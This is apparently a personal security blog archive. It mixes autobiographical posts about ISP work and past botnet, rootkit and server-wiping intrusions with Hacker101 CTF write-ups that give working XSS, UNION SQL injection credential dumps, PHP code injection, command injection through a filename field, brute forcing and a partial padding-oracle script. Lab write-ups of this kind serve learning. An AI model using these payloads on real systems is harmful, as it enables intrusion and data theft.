I am going to do a live stream covering the install and why I’ve chosen Slackware Linux over many user friendly distro’s out there.
Author Archives: admin
WRnet:sec 1.5 – How I stumbled upon an Embarassing Security Hole on Twitch
//A write up that lead me to submitted the bug to twitch.
How I Found this hole is from something that kept popping on my timeline in twitter and the past 8+ months of a follower that would immediately unfollow. I decided to wait for the next time this person or account follows and unfollows me. This is username was obviously all over twitch and known from one to another as LunaSec with various of other “kid” like hacker aesthetics.
Tracking the evidence:
- They claim these are bots, but what if I told you, they are not bots but an actual streamer?

- Another claim of evidence is what caught my attention. The link to the post from MCBTVe.

- Here is a few screens I’ve taken personally when I visit. Same Motive but different GIF’s everytime.

I got that username and loaded it up on my Kali Linux VMware with an VPN loaded (Normally I use slackware but I have been extremely unmotivated lately to produce documentation on making slackware the ultimate hack box).
Loaded up burp-suite and went to town on logging. Now that we have a target that is abusing it, using TTS to speak live on the microphone. I am not curious to know who this is as this person is technically out to exploit people and not report this hole to twitch.
Note: Twitch has a bug bounty program, they are not fully into it but they would be if people actually used it.
- After maybe 30 minutes of reading the logs acquired and confirmed with 4 different accounts they created they all linked to this. If you look below with the 2 images, I found that a header is degined for loading image files is loading a custom php.
What does this mean?
– Malicious PHP files.
– What is a php file

- This is what that cut.php loaded but I didn’t get the chance to grab the logs but the php is loading web exploits and attempts to inject malware to your computer. I didn’t save the logs & screen shots sadly and the domain is removed as soon as twiitch patched the hole. (sure it will return sooner or later)

- This wasn’t an widget it also loaded on screen display such as this below exploiting and loading the php in place of an image.

Irony, they are saying this is the person who is doing hate raids. I beg to differ as we have people like “The Chronic Gamer“, “twitch bot viewer services” and other sources that you could chat as if you are on irc (the hate raids emulate irc style flood attacks).
This was a bad actor not in relation to the hate raids, this took me 30 minutes to rule that out.
If you have seen anything above and seen your IP address, I super, highly recomend for you to check your pc for malware infestation or get a professional to help.
WRNet:Sec 1.4 – Battle from within part 3
*warning* this is another rough draft.
AS this part of the story, I would tell you that I would be in the ER inside UMC, but first I am going to tell a ‘troll’ story conducted by Mr. C.
During the month of December, Mr. C (I am completely unaware), created a website and printed professionally alot of fake flyers. These flyers where random rating of their Christmas decorations (and everyone got a poor rating as part of the prank) and for more details to call a number that happen to be my phone number at the time. I rarely received calls until after Jan of 2003 where I was in the ER getting calls from angry people about their ratings, these calls would continue to come in for the whole month of Jan.
So, I made it to the floor of ICU as I am bleeding to death, where I started getting blood transfusions just to to save my life, Of couse during this time I had clients send me cards, Mr M, Mr. C and everyone from LVN at the time visiting me. It was rather a wholesome experience. The whole month of Jan, I was going back in forth between various cat scans and other treatments to figure out what is wrong with me, why am I bleeding to death and why I am having such problems and why is my skin green. By the end of Jan, I went in for exploratory surgery where they cut me open just to find out that I had cancer and badly infected with it as well, estimating over 7+ years of growth eating me out internally. They took a lymph node just to run a test and samples from and turns out I was dying from Non-Hodgkin’s lymphoma, B-Cell high-grade which was highly curable but due to the cancer, my body was heavy weak and decaying over time one of the major problems was my teeth was rotting internally so I also had to get teeth removed and over 6+ months of chemotherapy and other fancy drugs. They attempt to send me home during the first week of feb and soon as I got the procedure done with my teeth I had to return to the ER and wait until everything was ready to begin the Chemotherapy.
My first round of chemo was weird, it was a huge rush but I couldn’t eat certain things, but I went from never being hungry to becoming a fiend that NEED food now because the pains of hungry hit soo hard it felt like I was being stabbed. The kind of food I was eating a lot of was comfort foods, mostly Arby’s and other BBQ Sandwich around like Dairy Queen had one at the time. I couldn’t stop eating and getting huge shake it just became a super carb fest. After my 3rd trip with Chemo, I returned to work in April of 2003, I started to do more things as my strength returned. More DSL installations again, back to building machines from pc computers to servers again, and even back to server and network management it was like I never even left.
May 05th (cinco de mayo) 2003 I was scheduled to go out and do an dsl installation and upon leaving I made it to 28th street and Charleston and from there I was rear ended by someone that caused me to spin out of control and causing the convertible mustang to flip over. I had the convertible top down and the way the car landed, if I didn’t duck my head into the passenger seat I would have been taken from that. I was rushed to the hospital only treated for minor scrapes and road rash burns that ripped my left elbow up pretty bad. I had pieces of the windshield stuck inside my arm. I walked away from the ER later that day, but had to return often to change out my cast and treat the road rash.
Since this accident wasn’t my fault this is where I made a huge mistake, I let Mr. M take control of my finances at this time and allowing him to proceed with suing the insurance and we went after mine as the one who hit me, ran and had no insurance. (they did get caught 30 minutes of hitting me and run) After 2-3 months after this all happened, I seen a check for over 50,000 that I signed over to Mr. M to hold on for me. I don’t even know how he even got that much money to begin with he was never 4th coming about it. Promises on buying a house with that was always mentioned ontop of being a promised of partnership with the company but never not once mentioned if I was to be paid I would be paid this money. Only thing he was paying is my parents bills monthly around this time from power to cable. (keep this in mind for later, as I never seen this money again and it was used against me)
After the accident they ran a scan noticed all the damage has been somewhat reversed but I still had to keep going forward with the chemotherapy.
Next down the story, I collected a check I signed over in promises and good faith, now Mr. M was never really 4th coming with alot of things he always does things like “bro, just come” or “bro, just give me a hand” especially when we question things. (he does alot of shady things that I never picked up on, including having no insurance for the cars he drives and have false documents always ready for when he gets busted for wreck-less driving and speeding 50+ and always had lawyers to drop it to a parking ticket ontop of his contacts he makes while clubbing)
Oct or November of 2003, I along with a few other employee’s also considered friends received a call to come give Mr. M a helping hand, and of course doesn’t tell us why and what just come help move some stuff, we all just assumed this is just another Mr. M helping a dancer move or another office buddy move stuff. When I showed up it was a warehouse and when I walked to the door I seen soo much misc stuff like 500k+ cars, boats, pallets of different merchandise, and what Mr. M was loading was vodka cases from a pallet to yellow moving truck and as soon as I seen what is being loaded all I hear next was FBI Get on the floor, Mr. M and others ran me and another person we called “spammer” dropped to the floor. FBI came storming in pointing Automatic weapons to our heads for the ones who didn’t run. After 3 hours of being questioned and searched they let me go, I think I drove the (second convertible v6 mustang I’ve owned then) pinging the mph at 120 leaving, scared out of my mind.
Everyone that was apart of that lost all faith with Mr. M and calling it quits with him if this is how he treats friends to put them in harms way just to make a quick buck. I felt like I couldn’t do anything because he is technically my financial adviser and has my 50K.
I started to get frustrated over the years of 2003 till 2006 I wrote frustrated blogs as I had no one to talk to about what I am going through or how I am feeling.
I don’t actually remember the time, but there was a time Mr. M had me pick up a girl who later revealed that she was paid to give me a BJ, I turned it down because I am Asexual and that didn’t excite me at all. It wasn’t my thing I drove her to her apartment and said sorry just not what I am into. ( I at the time didn’t know that I was ace, but it was there and it shown)
I did at this time around 2004 – 2005 ish I don’t recall had a free cruise to Mexico and back with LVN. I am not going to lie, It was rather enjoying.
2006 I met my ex-wife and used money I had saved from my disability to bring her from the Philippines (that is a long story). 2006 I got into a house after arguing on how it is going and struggling his ideas with mine and when I gave up arguing he tossed me into a house I had no idea at the time that was over 320k, making over 2,500 a month payments. His idea was to rent out the rooms and boost my credit but I changed that by moving my family in, I mean I never lived with out them I wanted to do something.
What didn’t help was more he got frustrated if things didn’t work out, I would be called names or yelled at for not doing things in time when I couldn’t. He took out alot of his failures upon me and it kept piling up, but also would use different words would call me “a white person” an N word and other words of random.
In 2007, after I married now my ex-wife I demanded wages and money. That is when he told me that I was working for free this whole time, that 50k was spent paying the mortgage not even the down payment for the home. All partnerships was just ideas that will never be possible because I was told I was nothing but cheap labor to him worth less than min. wage.
I gave up at this point and then found a job and left a week later and told him so long I am done.
In 2011, I briefly came back to LVN just as a placeholder until I found a job and I did and left again but that time I got paid $10/hour and focus only on service desk calls and never again returned to the way I was and this time I left professionally the whole 2 weeks and even switched to part time weekends just to help boost me.
And last to close up this story, 2020 I gave an offer to be his CISO (a partnership) with no salary expectations. He laughed at me and told me I am too expensive for him at this point. He is still to the old ways of seeing me as cheap labor and will never give me that opportunity for him to redeem himself. knowing this is how he talks to me and when he does he be littles me instead of being a friend as he claims to be. A friend would help me achieve my goals and dreams not belittle me and tell me different and understanding this, He is no friend of mine.
Over all, the moral of this story, don’t trust people you don’t know especially if you think you know them, Never put your financial trust into someone who claims to be your friend. Stay in control and know your worth from the start.
My mistake was when I stuck a deal I should have the following terms from the start -> intern for a year. If promise of a partnership get it in writing rather it is in an email format. It is still a legal form. Never, I mean Never entrust anyone to be your financial advisor including family or friends.
WRNet:Sec 1.4 – Battle from within part 2
Age of 22, in early 2002 I was starting to learn how to drive from both Mr M’s father and Mr Mcgee a big MLM Marketing guy who was one of our extremely strange clients. (This guy in 2011 Held me against my will and chased me out of Oregon because of the same type of shady business dealing I caught him with and refusal to discuss my share / wage this is another store for another time) Helped me learn how to drive I had no car, my first choice when I was 17 for graduation if I wanted a car or a computer, I’ve chosen a computer. I learned how to drive, got my license in summer time of 2002. for my 2 years of non paycheck and working for him he decided to get me into my first car.
I wanted a car that I could do with and feel proud driving, Mr M wanted me to have a practical through away car or a Jeep wrangler just because it was his style of cars so we fought on the cars and found an 94 geo tracker in which we both settled on for being cheap and jeep like. Fighting with Mr. M was bad because we would go back and forth about it and every time I would bring up something he would have a counter response.
After that fighting and I didn’t really want to drive around in a Geo Tracker that was falling apart and never had the money to do anything to it just drive it back and forth to work. I was starting to look into changing back my path and join the US Air Force and me being in ROTC in High School I was already setup to enter in as a private second class.
I spent 14-16 hour days just doing computer grinding on scripting for websites, graphic designing, and building over 100’s of computers in a few days time and including setting up networks creating active directory networks and domain joined workstations on top of installing DSL routers, computer calls, tech support calls for dialup and other computer related stuff with including data crunching security logs and keeping over 100’s of client colocated windows and linux servers up 2 date, keeping viruses out of the network. It was a never ending work load and instead of having help I just took it all in and did it all myself brute forcing my multi-tasking and exhausting myself to a point I didn’t even know my health was declining. IF we had a ticketing system and a tasks management system i would have easily closed over 1,000 tasks per day and close 100’s of projects a month.
There was a period of time as LVN bought out a company that was a failing wireless internet company. We did some shenanigans and right away Mr C invites me to go wardriving and we drove around in a white van taking over networks with their insecure wireless routers from the street using a custom yaggi setup and some high powered amp, It was fun times.
Oct 12 2002, I was freezing because the geo tracker’s roof was broken and the heater wasn’t helping me stay warm, I accidentally went to slam on the breaks and missed the pedal and hit the gas instead causing me to crash into a Mercedes SUV. I was shaken a bit and the insurance was a bit forgiving at the time.
A few days later I was invited with Mr. M and a few co-workers with VIP access to the sapphire club on the grand opening date. ( There was a lot of times from 2001 – 2005 I got invited to a few of Mr. M’s clubbing scenes where we ended up going to Club Seven, ghost bar, Rum Jungle and all in VIP style). Where I got strippers all over me and I had 2 dancing at once it, and for me it’s ok. Never been my style of entertainment (if you know me now, you would fully understand why it wasn’t). After the crash and fun I co-signed for an dark gold 2001 v6 convertible ford mustang for Mr M. that ended up being my car after a week when I need to drive to clients locations and need to go home and stuff to shower.
Late nov. of 2002 I was on top of the Rio Hotel and Casino with Mr. C helping to adjust some wireless access point, I puked up my lunch from the top of the casino where on to the side, during this time I was really sleeping more, passing out at the office more often, sleeping on the sofa’s including sleeping nearly 23 hours one day… I couldn’t keep food down and over time my skin was starting to turn green.
Around mid to late December I went to the UMC quickcare because of a co-worker noticed that my skin was green and my eyes was yellow, I was having problems moving with out needing to take a break as I would get winded and feeling like I am about to black out. I tried nature walks that didn’t resolve my issues and so on. The first time, umc took my blood and gave me sea sick pills that did nothing for me but made me even more sick. Even with the grand opening of Frys electronics in Las Vegas I couldn’t even enjoy because I was feeling extremely bad.
Jan 06, I went back to UMC QuickCare and from there I went to the UMC Emergency Room as I was told I was bleeding to death from the inside. I walked ccross the street with my parents and spent over 24 hours in the ER with my first blood transfusion.
At this point I am being tested for many different things, from aids to other various problems either way they are also saying that I am bleeding to death and I am on the verge of death at any given moment due to the blood loss..
WRNet:Sec 1.4 – Battle from within part 1
Starting off from how I started my learning with LVNet: (rough edit just a fair warning)
Apartment circa 2000:
I would get dropped off at 9am to start out my day. I would start off doing help desk calls for dial up users. the famous “have you turn it off and back on again” calls. a tower of towers all loaded with Windows 98, Windows Me needing to be either reinstalled, power supply replaced and windows reinstalled. Harddrive failure and data restored if I could, I would use an in-house linux machine to attempt to restore data. My first month at the apartment working, I believe I’ve made over 50 computers working again reloaded with windows 98se and ME on demand if they wanted it and with my tricks with linux I was able to recover data from a few of them I don’t have a number to recount. My work horse and ethics started here, where if I was assigned something or wanted to fix something it was given to me and I’d beast it out. 3 maybe 4 times a week we would go out for an actual low voltage wiring and installation of the adsl routers and over time I learned how to program the “Cellpipes”.
I worked from Monday to Friday, some of these days I would be promised to get a ride home from Mr. M. but that time might be at 1am or 3am and ready to work at 9-10am. He would drive an 98 – 99 purple jaguar with an convertible top or would drive his roommates Pontiac 2000 firebird from time to time. Mr M would rack up alot of speeding tickets that get resolved to parking tickets to even dismissed and his driving is always mashing the pedal to the metal and gives no care about the traffic laws and exploits every moment he can get just to drive fast to get to his destination. He also suffers from sleep disorder or something that resolves him not able to sleep longer than an hour or 2 like he naps all the time, maybe gets 2 – 3 hours a night of sleep if that. The first time he drove me home, he would mash the pedal and do over 100 down Maryland parkway and would run red lights if he could.
He also had this huge lifted mid 80’s jeep that he slowly customized as the tonka jeep, and when he drove that it was scary because it was lifted with 35″ monster truck style tires. Yes, I would get super scared of his driving, because HIS driving was massively wreckless and often times if it’s late if he did sit at a light he would actually fall asleep at the wheel.
In the apartment, I also dug into tech support calls for dialup and dsl troubleshooting over the phone, alot of times it’s just as simple as “have you turn it off and back on again?” I would have to walk them through how to do that.
Mr C the CTO while Mr M was the CEO actually lived together as roommate in this apartment while operating the business. Mr M fully financed and paid Mr C. Tuition with UNLV. When I first started there Mr M was telling me how much of a dumb ass he was and when the mail server broke that he might of done it as how much he doesn’t know what he is doing and how much of a high school drop out he is and jumped into the dotcom bubble and cashed out ontop of being a huge hustler since highschool in L.A. He opened a company in Las Vegas to cash in on the custom IBM and quick computer repair business that fell apart around 1998. Which later on speculate as a rumor around another shady business deal that involved with FBI agents but I am not sure as it was just a rumor. I am 1 year older than the CTO Mr C. In which from day one Mr C seemed to warm up to me as he rarely does to anyone else in believe that he knew it was me that totally compromised his network but never said a word I just believe that is why he trusted me with alot of his network and server administrations from the start including administrative rights and so on.
First office:
Freemont office Partner Connecting Point, mid to late 2000.
The addon to the old Bank of America building, where the bank vault was turned into an unlockable bank vault door for a future co-location facilitiy.
When we moved in my first place was a cubical that I would site and work for 16 hour days just answering phones, building computers, fixing computers, building servers and host my own server and such. under my desk I had 5 static ip’s open and unfiltered used for IRCd, web and piracy. They gave me the current clients that use windows servers that result in windows nt 4 and newly added windows 2000 server. (quick fact, you could totally enable windows 200 server as a desktop and ran a whole lot better than the win2k workstation it was a bad practice but this was my workstation and testing grounds for myself) and with building win2k servers for co-located clients because of piracy I had copies that wasn’t legit because all they did use them was for IIS and I had to also secure them in the process including disabling RPC, installed 3rd party software for anti-virus and firewalling like my favorite at the time was “BlackIce Defender” Daily i started to keep a list of windows servers for co-lo clients and constantly verify and make sure there is no issues from there on and once a month apply patches and service packs if available. I tried to keep a top notch on security when I got handled this opporunity.
I got to pick up alot of graphic design and html, coldfusion, asp, perl, and php+mysql knowledge and the new logo was born and new website launched make it all on php and the design was created with 3d studio max for the 3d cat5 cable and adobe photoshop and macromedia fireworks, with that I started to take on alot of his clients website design and learned how todo do SEO (search engine optimization).
Connecting point wanted to start using the cubicles for sales, so I was relocated into what they call the boiler room next to the vault which for me was a good place as I could run in really fast and reboot servers but after a month or 2 I was relocated upstairs due to I was being accused of stealing hardware. (how could I? I was there 16 hours a day basically living at the job only going home to shower and change clothing at this point) . I did get weekends off but you know what I didn’t mind it much, during the summer time my house had only a swamp cooler and never worked in the heat of the 110-120F weather.
Moving around in connecting point for me nothing really changed, just I pretty much, I did lug my home computer with me from home to work just so I can play video games on one screen and work on another. Because I work there I rarely ate lunch, breakfast, and most of the times I did get dinner from denny’s next door or would order a pizza if it was allowed. But I had a company credit card given to me just for that and 9/10 I would be cool but there would be days where I would have to wait as the card would be denied and I never had cash on me because I never got a paycheck and would wait hours at denny’s just for Mr.M to show up with cash to pay for my dinner.
I never got a paycheck because I would get a lecture about if I got a paycheck I would spend it all on useless crap or give it all to my mom giving me the feeling that he had no faith in to letting me be me and it always felt like he doing that was controlling me and how I want things in life. But when I would question how much am I making, he would make up numbers on the fly and do a scenario if I did pay you, it would be this and this would be how much you would get. etc…etc… but he would dodge any questions I would ask in relation to a paycheck or becoming a real employee. There was a time that came to a point as the success is showing the business is growing that I would promised and rewarded a partner status. In the end ignorance got the better of me, I should have known better but I also didn’t know my own self worth of what I was becoming into.
Part 2,
More of the memories that I remember being there as 9/11 happened, the plan to join the airforce after all, cancer, car accidents that lead me to a big paycheck but Mr.M stole that paycheck from me. Angry blogs, a hooker, mentally and verbal abused and pushed around. Being trolled on a death bed, Wardriving.
WRnet:sec Part 1.3 – Battle for LVN
I am going to tell a tale of a time before I started my career with the IT. (rough edit just a fair warning)
The Battle for the ISP known as LVN, circa: 1999, this goes along with my story from 1.0 – 1.2…
I was on IRC, DALnet to be exact but I don’t remember the room I was in at the time, but I do recall being a mod for #appzngamez at the time and if I recall this member named “Skrilla” which was later known as Ruben Candelario. (another news)
During the late 90’s, I was on my binge of collecting vulnerable hosts for fun, building my own botnet. Me being a teenager, I was over confident and using my botnet for malicious fun on IRC, and with my shit talking, trolling always had an over powering effect with my botnet to help me back it up. But upon doing so I didn’t realize that someone became very envious of me of what I was doing and how much I was doing it.
Back in these days we used to just call them packet storm wars, I would post publicly on IRC that I’ve 0wn3d another host while I used one of them to bounce from (IRC Proxy) and all my target was south Korea because Half Life mod at the time from Counter Strike and Team Fortress all had public servers hosting on extremely vulnerable redhat machines, I never wanted to attack something domestic or locally located in the US in fear of being in trouble at the time. (Maybe I should have, so I could of been famous too and got offered a job, eh?)
Popular Remote Exploits was popular to take over a Linux machine typically a redhat or a variant. From Redhat 6.0 to 6.2 had the wildest exploit out of the box, from pop3, ftpd, to even sshd. You know the one you seen on The Matrix part 2 called sshnuke.
And back on the topic of the IRC with ‘Skrilla’ that started to harass me on a public channel that I just don’t recall, about the argument over scripts and a lengthy war over c++ programming making all these claims and random bullshit over how I was collecting hosts and building a botnet. He one day jumped into IRC with the host @mail.LVN and he did a huge rookie move and didn’t patch the host as this would be something I would do after applying my rootkit, I would “patch” the system to prevent others to obtain access. I got right into LVN using the exploiting the mail server pop3 as it was using the default and highly vulnerable version at the time including in redhat 6.0. When I got in, I patched the vulnable services, rootkit the system and booted “skrilla” out and that is when he got super furious and DDoS ( Distributed Denial of Service Attack or back then Packeting the hosts with synfloods) any bnc I was on except on LVN. I pivot around that network some, but I had no real interest in anything really at the time I was just hunting for more BNC’s and building my botnet bigger in thought of building some type of auto click program to exploit some Pay-Per-Click ads to make some type of cash from.
We continued to battle on and determined to get back into LVN, I went into chaotic mode and I still have no idea or clue why I just decided todo it but I simply ‘rm -fr / *’ the system and washed my hands from it after doing so. I remember going back to creating a botnet but it started to slow down, I also started to branch off and look for work. From trying to land a casino job as per my family it’s the only place to work for people like me so we can die living off the retirement from it.
I wanted to boost my career and get started somewhere so I applied to work for LVN, but was denied, I applied again and was given a chance to redeem myself with creating graphics, but everything I did was failure, so my mom jumped in and landed the job as an intern technically, I work hours and learn things in return he pays a bill or 2. I didn’t have a car, I never learned how to drive then, but I started out as fixing, repairing computers and do aDSL Installs. I became a pro in low voltage and already knowing phone lines from
LVN was a startup and because of the starting out I worked late and started early, I would be left alone in the owners (CEO we will call Mr M, and CTO we will call Mr S.) apartment, giving me full control but I spent my time mostly fixing computers and data entry with access databases as Mr M would party and network as he does who actually knows he slept very little. When CP Computers a partnership with LVN, when we moved into the offices I was moved around alot there I started from 1 sales cubicles, to the boiler room, then upstairs to what they called “Freddy Kruger” room. Over time I brought my own network in with making a box I called shadow, but it was all for “WRnet” still hanging on IRC and became more of a shit talker and still rubbing in about how I legit have access now and ‘skrilla’ again DDoS the static ip address.
There was a time I started to alienate myself irc and shit talking from that area and started to focus more as an IRC admin and started to join different locations, like Dugnet, r00tabega, pranknet, and other places I forgot the name to. When I got the job with LVN, dugnet was starting to die off and I started to turn more towards piracy and top sites with Razor 1911, until they got busted. On IRC (Efnet mostly) I hanged out with Avec that I got hooked up with the Zero Day Warez also known as top sites as I had a T3 at my fingertips with no monitoring or metering and extremely bad, I mean bad routing to a point I would DoS the whole network if I didn’t limit the speeds from these top sites using the bandwidth. Tool of choice was Slackware and GLftpD.
Just a reminder, I never got a pay check with this company, I was promised with a word of mouth that only lead to lies, Mr M proclaimed to be my financial adviser but always leaving me always wishing I had money that I didn’t had to fight or argue about why or what? Had a company credit card that would always left me on the edge of my seat of it was maxed out or not by eating next door to work for the only time I would eat. There was no NDA signed and I always felt I was held back, only good thing came from this was the experience laid down for multiple paths of IT and I was able to fix my own credit .
For my next story WRNet:Sec 1.4 will be more about LVN as I struggle with a battle from within, I started to become their Cyber Security, Server, Network admin around 2001-2002, There is a few times we would go to the Ghost Bar or to Club 7 VIP style but it felt like he was forced to lug me around. Because of his family and a client of ours I learned how to drive, I also spent long hours helping Celebrity Scene – Pete Allman with writing his articles as he would treat me for dinner. 2003 I was diagnosed with Cancer, I fought and won. How I was promised partnership that turned into harassment, mental, and verbal abuse from both Mr M. and Mr S. and how in late 2003 Mr M. involved me with the FBI, where I had hours of ATF / FBI pointing AR15’s at my head.
WRNET:Sec 1.0 and 1.1
Eps 2 in development and will update when I get to it.
The topics I will be discussing is the following:
- The Wondering Raven or Kallador The Lone Warrior
- Computer intro the the inspiration, the lone warrior
- Kallador, The Lone Warrior
- The Wondering Raven
- How I started my career
- Piracy inspiration
- Internet Relay Chat
- Hackers, the darkside of the force.
- Unsuccessful career transfer
- The pirate
- Cancer Battle
- The marriage, the paycheck.
- The Drifter
- Computer tech professional
- CTO
- The Career Hacker
- Return to the ISP
- Casino
- The Failure of life
- Casino Redux
- Moving Forward
- Breaking the Casino
Write up Hacker101 – Petshop Pro

Flag 0
- burp suite intercept, change the %3A+7.95%2C to %3A+0%2C and let it load
- Flag 0 found, this is easy!
Flag 1
- Locating the admin interface login, off the top of my head, I used admin, Admin, ps-admin, login and bingo found /Login
- Used repeater and dumped the user name github is a good place to get a common usernames list.
- get a list for the passwords to, this will take a while let. I used.. hydra for this task built a script to dump the username, password, This one took about an hour.
- found user/password combo and logged in
- Flag 1 found brute force was the key here.
Flag 2
- This one relayed upon XSS exploit, so you need to dump it as the user go edit a product and add the following. <img src=x onerror=alert(1)> in the name and description and hit save.
- Add the product to to the shopping cart and check out.
- Flag 2 found during check out.
Write up Hacker101 – Tickettastic Demo & Live instance.

Flag 0
- Review the demo, and take notes how this is all setup.
- View the live now.
- demo and live look exactly the same in the code wise.
- Admin Login -> attempt admin / admin but shouldn’t work.
- Jump to submit a ticket and add in this information to inject some code and see if it works
- <a href=”http://localhost/newUser?username=test&password=test&password2=test”>TEST</a>
- Now login with the new account
- Read the Flag wont work.
- Flag 0 found
Flag 1
- use burp suite to find the request, we will focus on ticket?id=1 and dumping the admin login creds.
- ticket?id=1′ -> shows that it is running mysql database but we got an error message, lets run down a quick list.
- Lets try this one, ticket?id=1 AND 1=1 *this one works* no flag tho, but ticket?id=1 AND 1=2 does not.
- Lets see if we can find the table numbers. ticket?id=1 AND 1=1 ORDER BY 10, does not work but ticket?id=1 AND 1=1 ORDER BY 3 does. ticket?id=1 AND 1=1 ORDER BY 4 error out. Sooo lets union select.
- ticket?id=1.1 UNION SELECT 1,2,3– shows the 1,2, our rreply, 3
- Lets do some fun, lets see if we can drop a version of the database
- ticket?id=1.1 UNION SELECT VERSION(),DATABASE(),3–
- now lets get a table name
- ticket?id=1.1 UNION SELECT 1,GROUP_CONCAT(TABLE_NAME),3 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE()–
- This should show 2 tables, one we want “users”
- Lets drop the column_name
- ticket?id=1.1 UNION SELECT 1,GROUP_CONCAT(COLUMN_NAME),3 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=DATABASE() AND TABLE_NAME=’users’–
- This will drop the id, username, password. Oh we are close to admin now!
- ticket?id=1.1 UNION SELECT 1,password,3 FROM users WHERE username=’admin’–
- Flag 1 found
- I just learned something, we could of just have done this. the easier way.
- Burp suite > read the GET post, save that to a file and use sqlmap -r therequest.txt –dump
Write up Hacker101 – Postbook

Flag 0
- Hint -> don’t use common user / password combo’s
- sign’d in as user / password as both the user and password
- Flag 0 found
Flag 1
- as use view the post
- index.php?page=view.php&id=1
- copy that and change the id to 2
- flag 1 found
Flag 2
- Create a new post use burp suite from here
- and use intercept it before creating a post, check and modify the user_id value=”2″ to value =”1″ release the intercept and the webform posts as admin.
- Flag 2 found
Flag 3
- The hint gives a number to multiply with 189 * 5 that = 945
- lets review 945
- index.php?page=view.php&id=945
- Flag 3 found
Flag 4
- Use burp’s intercept again,
- edit the post and hit save besure to have intercept on so you can change id=3 to id=1 hit
- flag 4 found
Flag 5
- burp intercept this time we are modifying cookies, you would need to md5 to find out value 1 is. You will need to logout and relogin as user and intercept that login so you can also snag that cookie.
- Take the current cookie from burp and it should be cookie id and resolve to number 2 as the md5 value.
- when you get the md5 value for 1, paste it in the interception area for burp and release to change the cookie id value.
- Flag 5 was found as you have went from user to admin.
Flag 6
- Now lets intercept when you attempt to delete a post
- again it uses md5 values when deleting posts, so change the value to 1’s md5 value.
- Flag 6 found, When you release it should drop another flag when you visit the post
Write up Hacker101 – Cody’s First Blog

Flag 0
- Toooo much information was given on the first step. If you red it right, you have 2 red flags already 1, it’s php and second include() nothing wrong with PHP per-se, just when you are first time into it, you make alot of security mistakes.
- XSS wont pass in here, tried but this wont work here.
- but if you didn’t close a few commands in the backend, try to pass some php code as an html format and see what you get?
- ie: in the comments type <?php phpinfo()?>
- Flag 0 found geez that was too easy.
Flag 1
- All cms / blog systems have an admin interface, I mean it’s a way to control a blog content management system.
- I used burp suite for this to investigate what goes where and what gets executed and I found ?page=admin.atuh.inc
- Found user/password
- Lets do something extremely silly as this is “Cody’s first blog” after all lets see if he made a mistake, remove auth and use ?page=admin.inc
- Flag 1 found
Flag 2
- using burp suite to see more of what gets passed thru.
- Idea for this one is to use php blind injection to read the index.php source.
- pop in this command, this took me a bit to find as it’s been a while since I’ve used php.
- <?php echo readfile(“index.php”)?> in the comments like in flag0
- check the source (or use burp to see the source)
- Flag 2 found in the index.php source.
Write up Hacker101 – Photo Gallery

Flag 1)
- Start off by viewing the source and you will get id’s
- so lets view fetch?id=1 and you should see a direct image
- add an .1 to it ie: fetch?id=1.1 and it should error out
- but lets pass some sql commands to push an arbitrary file read, using UNION SELECT ‘file/adorable.jpg’ —
- This should drop the image information pay good attention to it and you will find another hint to this running the uwsgi-nginx-flash-docker.
- Change the filename from file/adorable to uwsgi.ini as uwsgi will have an ini file for it’s config.
- Learn of the main file name from this config and use that instead of uwsgi.ini ie it should show main.py
- now review the main.py
- flag 0 found.
Flag 2)
- This one is easy, if you use Slackware like I have and installed the source package, you will need to drop the image from sqlmap using a blind injection
- sqlmap -u usr/fetch?id=1 –dump
- Flag 1 is found
Flag 3)
- Using remote code execution, rename image 3 to a new name call it test
- Command: fetch?id=1;UPDATE photos SET title=’test’ WHERE id=3;COMMIT;–
- broken image 3 is now named test
- Command 2: fetch?id=1;UPDATE photos SET filename=’* || ls > test’ WHERE id=3;COMMIT;–
- this should now show after checking it again with fetch?id=1.1 UNION SELECT ‘test’ —
- command 3: fetch?id=1;UPDATE photos SET filename=’* || env > test’ WHERE id=3;COMMIT;–
- run this again fetch?id=1.1 UNION SELECT ‘test’ —
- all 3 flags are now found. Flag 2 is the last one.
Write up Hacker101 – Encrypted Pastebin
note: Keep in mind, I have had over 20+ years in cyber security, I started out as a blackhat in the golden age of insecure internet. I also ran Slackware Linux since 1998 as my main OS so this is a double challenge with Hacker101 and Doing it all from Slackware Linux (NO Kali Linux ewww.)

This one needed attention as this is both easy but yet it is hard.
Couple of things I’ve learned from this one is that You have to focus on what this is actually vulnerable to… the CVE is there so you have to keep that in mind this isn’t all about Nostalgia
Tools used here:
- Padbuster
- Custom Python Scripts
What do we know?
- From the obvious, AES-128 CBC
- Not SSL (https)
- Doesn’t get stored in a database
- url/ dymanic directory / dymanic query?post=dynamic encrypted key.
- 4 exploits are to be found here for 4 ^FLAGS^
- Flag 1
This one is a given, the easiest of them all. Just delete a character in the encrypted key and it dumps the first flag but it also dumps alot of RICH information, I highly recommend to always pay attention to detail.
- Flag 2
FIrst clue was the Incorrect padding, this right of the bat we now know this is a poodle attack or something similar. Thanks to kali linux I found PadBuster that took care of this attack with decrypting the AES-128 that would also dump the key and the second flag.
- Flag 3
This clue is to know about the padded oracle attack that the first one was to decrypt it via Chain Blocking, this side I needed to decode it again with a Stream, RC4 Style. But… any tools I can find required an not encrypted key…. so I had to build something, that would cross, this took hours of running flag 2 over and over and how the data is being decrypted. So in thought lets see if I can use the website to decode it for me.
My thought was {Flag: ^flag2^ id: x , key: dynamic key} a clue,
and b64d = lambda x: base64.decodestring(x.replace(‘~’, ‘=’).replace(‘!’, ‘/’).replace(‘-‘, ‘+’)) was placed right there oh heck another clue I found was post = json.loads(decryptLink(postCt).decode(‘utf8’)).
So, I couldn’t find a tool I had to decode this in a streamline fashion.
In Python, I wrote. (test3)
import base64 //because base64
import requests //using requests with web forms.Decode the data defined.
def decode(data):
return base64.b64decode(data.replace(‘~’, ‘=’).replace(‘!’, ‘/’).replace(‘-‘, ‘+’))Re-encode the data defined,
def encode(data):
return base64.b64encode(data).decode(‘utf-8’).replace(‘=’, ‘~’).replace(‘/’, ‘!’).replace(‘+’, ‘-‘)#Remember XOR: was a hint, so we need to use XOR not decrypt it.
#So defining Bit XOR.
def bxor(b1, b2): # use xor for bytes
result = b””
for b1, b2 in zip(b1, b2):
result += bytes([b1 ^ b2])
return result#now define the url padding.
def test(url, data):
r = requests.get(url+’?post={}’.format(data))
if ‘PaddingException’ in r.text:
return False
else:
return True#now to define the iv calculations
def generate_iv_list(tail):
iv = b’\x00′ * (16 – len(tail) -1)
